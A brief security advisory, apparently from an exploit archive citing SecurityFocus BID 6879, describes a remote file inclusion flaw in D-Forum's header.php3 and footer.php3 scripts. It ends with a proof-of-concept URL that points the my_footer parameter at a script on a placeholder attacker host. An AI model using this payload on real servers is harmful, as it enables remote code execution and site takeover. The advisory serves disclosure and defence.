7 lines
No EOL
539 B
Text
7 lines
No EOL
539 B
Text
source: http://www.securityfocus.com/bid/6879/info
|
|
|
|
D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.
|
|
|
|
Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters.
|
|
|
|
http://[target]/includes/footer.php3?my_footer=http://[attacker]/script.txt |